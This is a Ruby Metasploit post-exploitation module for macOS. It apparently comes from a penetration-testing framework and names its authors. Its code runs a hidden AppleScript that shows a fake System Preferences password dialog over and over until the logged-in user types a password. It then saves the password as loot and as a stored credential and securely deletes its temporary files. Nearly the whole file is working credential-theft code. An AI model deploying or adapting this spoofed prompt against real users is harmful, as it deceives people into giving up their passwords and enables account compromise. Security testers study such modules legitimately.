##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OSX Password Prompt Spoof',
        'Description' => %q{
          Presents a password prompt dialog to a logged-in OSX user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Joff Thyer <jsthyer[at]gmail.com>', # original post module
          'joev', # bug fixes
          'Peter Toth <globetother[at]gmail.com>' # bug fixes
        ],
        'Platform' => [ 'osx' ],
        'References' => [
          ['URL', 'http://blog.packetheader.net/2011/10/fun-with-applescript.html']
        ],
        'SessionTypes' => [ 'shell', 'meterpreter' ]
      )
    )

    register_options([
      OptString.new(
        'TEXTCREDS',
        [
          true,
          'Text displayed when asking for password',
          'Type your password to allow System Preferences to make changes'
        ]
      ),
      OptString.new(
        'ICONFILE',
        [
          true,
          'Icon filename relative to bundle',
          'UserUnknownIcon.icns'
        ]
      ),
      OptString.new(
        'BUNDLEPATH',
        [
          true,
          'Path to bundle containing icon',
          '/System/Library/CoreServices/CoreTypes.bundle'
        ]
      ),
      OptInt.new('TIMEOUT', [true, 'Timeout for user to enter credentials', 60])
    ])
  end

  #  def cmd_exec(str, args)
  #    print_status "Running cmd '#{str} #{args}'..."
  #    super
  #  end

  # Run Method for when run command is issued
  def run
    if client.nil?
      print_error("Invalid session ID selected. Make sure the host isn't dead.")
      return
    end

    host = case session.type
           when /meterpreter/
             sysinfo['Computer']
           when /shell/
             cmd_exec('/bin/hostname').chomp
           end

    print_status("Running module against #{host}")

    dir = '/tmp/.' + Rex::Text.rand_text_alpha((rand(6..13)))
    creds_osa = dir + '/' + Rex::Text.rand_text_alpha((rand(6..13)))
    pass_file = dir + '/' + Rex::Text.rand_text_alpha((rand(6..13)))

    username = cmd_exec('/usr/bin/whoami').strip
    cmd_exec('umask 0077')
    cmd_exec("/bin/mkdir #{dir}")

    # write the credentials script and run
    write_file(creds_osa, creds_script(pass_file))
    cmd_exec("osascript #{creds_osa}")

    print_status("Waiting for user '#{username}' to enter credentials...")

    timeout = ::Time.now.to_f + datastore['TIMEOUT'].to_i
    pass_found = false
    while (::Time.now.to_f < timeout)
      if file_exist?(pass_file)
        print_status('Password entered! What a nice compliant user...')
        pass_found = true
        break
      end
      Rex.sleep(0.5)
    end

    if pass_found
      password_data = read_file(pass_file.to_s).strip
      print_good("password file contents: #{password_data}")
      passf = store_loot('password', 'text/plain', session, password_data, 'passwd.pwd', 'OSX Password')
      print_good("Password data stored as loot in: #{passf}")
      pwd = password_data.split(':', 3)
      pwd.shift # date
      pwd.shift # username
      create_credential({
        workspace_id: myworkspace_id,
        post_reference_name: refname,
        private_data: pwd,
        origin_type: :session,
        session_id: session_db_id,
        private_type: :password,
        username: username
      })
    else
      print_status('Timeout period expired before credentials were entered!')
    end

    print_status("Cleaning up files in #{host}: #{dir}")
    cmd_exec("/usr/bin/srm -rf #{dir}")
  end

  # applescript that displays the actual password prompt dialog
  def creds_script(pass_file)
    textcreds = datastore['TEXTCREDS']
    ascript = %(
set filename to "#{pass_file}"
set myprompt to "#{textcreds}"
set ans to "Cancel"
repeat
  try
    set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "OK" with icon path to resource "#{datastore['ICONFILE']}" in bundle "#{datastore['BUNDLEPATH']}"
    set ans to button returned of d_returns
    set mypass to text returned of d_returns
    if ans is equal to "OK" and mypass is not equal to "" then exit repeat
  end try
end repeat
try
  set now to do shell script "date '+%Y%m%d_%H%M%S'"
    set user to do shell script "whoami"
  set myfile to open for access filename with write permission
  set outstr to now & ":" & user & ":" & mypass & "
"
  write outstr to myfile starting at eof
  close access myfile
on error
  try
    close access myfile
  end try
end try
    )
  end

  # Checks if the target is OSX Server
  def check_server
    cmd_exec('/usr/bin/sw_vers -productName').chomp =~ /Server/
  end

  # Enumerate the OS Version
  def get_ver
    # Get the OS Version
    cmd_exec('/usr/bin/sw_vers', '-productVersion').chomp
  end
end
